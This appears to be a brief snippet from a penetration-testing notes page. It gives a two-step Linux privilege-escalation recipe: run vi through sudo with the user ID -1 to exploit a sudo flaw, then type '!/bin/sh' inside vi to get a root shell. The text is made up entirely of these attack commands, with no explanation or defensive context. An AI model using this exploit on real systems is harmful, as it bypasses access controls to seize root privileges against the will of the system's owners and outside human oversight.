Type:
sudo -u#-1 /usr/bin/vi file
Then type on the vi finder menu: !/bin/sh
!/bin/sh
Last updated 2 years ago